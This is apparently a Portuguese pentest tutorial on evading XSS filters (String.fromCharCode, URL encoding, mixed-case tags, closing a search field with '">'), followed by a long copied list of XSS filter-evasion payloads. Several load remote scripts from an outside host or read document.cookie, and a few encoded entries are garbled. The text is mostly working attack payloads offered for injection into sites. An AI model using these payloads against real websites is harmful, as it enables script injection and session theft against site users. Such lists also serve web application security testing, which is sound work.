Hoje em dia, alguns sites estão mais protegidos contra ataques XSS, fazendo alguns filtros que não permitem o ataque, entretanto, nós podemos evitar estes filtros através de alguns métodos que iremos ver mais abaixo:
- Bypass magic_quotes_gpc (se estiver ligado)
- Bypass com criptografia do html
- Bypass com ofuscação
- Bypass com com uma solução de contorno
Bypass magic_quotes_gpc
Quando o magic_quotes_gpc está ligado no PHP, significa que o servidor não permite a aspa dupla “, a barra / e aspa simples ‘, e para ignorar isto precisamos usar String.fromCharCode(). Nós escrevemos o nosso código dentro dos parênteses convertido em ASCII decimal separados por vírgula. Veja o exemplo de como seria um alert() comum:
<script>alert("XSS!")</script>
Precisamos converter o texto interno para ASCII incluí-lo entre os parênteses do String.fromCharCode() da seguinte forma:
<script>alert(String.fromCharCode("XSS!"))</script>
E usamos ele para o bypass da seguinte forma:
<script>alert(String.fromCharCode(88,83,83,33))</script
Duas observações importantes:
- Remova os zeros da frente dos números ASCII e separe com vírgula, como no exemplo;
- Não precisa utilizar as aspas duplas do alert comum, podendo inserir direto o texto ASCII.
Bypass com criptografia do HTML
Este método é simples e só precisamos codificar nosso código HTML em HTTP. Nosso código de alert normal é:
<script>alert("XSS!")</script>
E ficará assim:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%21%22%29%3C%2F%73%63%72%69%70%74%3E
E agora você pode usá-lo para injetar o XSS.
Bypass por ofuscação
Também é muito simples. Este filtro normalmente é utilizado para evitar palavaras-chave, como: script, alert, etc. Neste caso, precisamos alterar um pouco a característica das palavras, como:
- sCriPt
- aLeRt
Ficando com o código da seguinte forma:
<sCriPt>alERt("XSS!")</sCrIpt>
Bypass por outros métodos
Geralmente nos scripts de busca, somente precisamos adicionar um “> no começo para fechar o campo atual, por exemplo:
http://sitealvodopentest.com/search.php?search="><script>alert("XSS!")</script>
E desta forma conseguimos ignorar no filtro.
Alerta no onerror
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
Veja mais alguns exemplos interessantes sobre como ignorar os filtros XSS no site da OWASP.
E abaixo está uma lista que achei no Github:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!–"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)–><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> | |
<IMG SRC=JaVaScRiPt:alert('XSS')> | |
<IMG SRC=javascript:alert("XSS")> | |
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> | |
<a onmouseover="alert(document.cookie)">xxs link</a> | |
<a onmouseover=alert(document.cookie)>xxs link</a> | |
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> | |
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
<IMG SRC=# onmouseover="alert('xxs')"> | |
<IMG SRC= onmouseover="alert('xxs')"> | |
<IMG onmouseover="alert('xxs')"> | |
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> | |
<IMG SRC=javascript:alert( | |
'XSS')> | |
<IMG SRC=javascript:a& | |
#0000108ert('XSS')> | |
<IMG SRC=javascript:alert('XSS')> | |
<IMG SRC="jav ascript:alert('XSS');"> | |
<IMG SRC="jav	ascript:alert('XSS');"> | |
<IMG SRC="jav
ascript:alert('XSS');"> | |
<IMG SRC="jav
ascript:alert('XSS');"> | |
<IMG SRC="  javascript:alert('XSS');"> | |
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> | |
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
<<SCRIPT>alert("XSS");//<</SCRIPT> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B > | |
<SCRIPT SRC=//ha.ckers.org/.j> | |
<IMG SRC="javascript:alert('XSS')" | |
<iframe src=http://ha.ckers.org/scriptlet.html < | |
\";alert('XSS');// | |
</script><script>alert('XSS');</script> | |
</TITLE><SCRIPT>alert("XSS");</SCRIPT> | |
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> | |
<BODY BACKGROUND="javascript:alert('XSS')"> | |
<IMG DYNSRC="javascript:alert('XSS')"> | |
<IMG LOWSRC="javascript:alert('XSS')"> | |
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> | |
<IMG SRC='vbscript:msgbox("XSS")'> | |
<IMG SRC="livescript:[code]"> | |
<BODY ONLOAD=alert('XSS')> | |
<BGSOUND SRC="javascript:alert('XSS');"> | |
<BR SIZE="&{alert('XSS')}"> | |
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> | |
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> | |
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> | |
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> | |
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> | |
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> | |
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> | |
exp/*<A STYLE='no\xss:noxss("*//*"); | |
xss:ex/*XSS*//*/*/pression(alert("XSS"))'> | |
<STYLE TYPE="text/javascript">alert('XSS');</STYLE> | |
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> | |
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> | |
<XSS STYLE="xss:expression(alert('XSS'))"> | |
<XSS STYLE="behavior: url(xss.htc);"> | |
¼script¾alert(¢XSS¢)¼/script¾ | |
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> | |
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> | |
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> | |
<IFRAME SRC="javascript:alert('XSS');"></IFRAME> | |
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> | |
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> | |
<TABLE BACKGROUND="javascript:alert('XSS')"> | |
<TABLE><TD BACKGROUND="javascript:alert('XSS')"> | |
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> | |
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> | |
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> | |
<DIV STYLE="width: expression(alert('XSS'));"> | |
<!–[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]–> | |
<BASE HREF="javascript:alert('XSS');//"> | |
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> | |
<!–#exec cmd="/bin/echo '<SCR'"–><!–#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"–> | |
<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?> | |
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> | |
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> | |
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- | |
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
<A HREF="http://66.102.7.147/">XSS</A> | |
0\"autofocus/onfocus=alert(1)–><video/poster/ error=prompt(2)>"-confirm(3)-" | |
veris–>group<svg/onload=alert(/XSS/)// | |
#"><img src=M onerror=alert('XSS');> | |
element[attribute='<img src=x onerror=alert('XSS');> | |
[<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ] | |
%22;alert%28%27RVRSH3LL_XSS%29// | |
javascript:alert%281%29; | |
<w contenteditable id=x onfocus=alert()> | |
alert;pg("XSS") | |
<svg/onload=%26%23097lert%26lpar;1337)> | |
<script>for((i)in(self))eval(i)(1)</script> | |
<scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt> | |
<sCR<script>iPt>alert(1)</SCr</script>IPt> | |
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a> |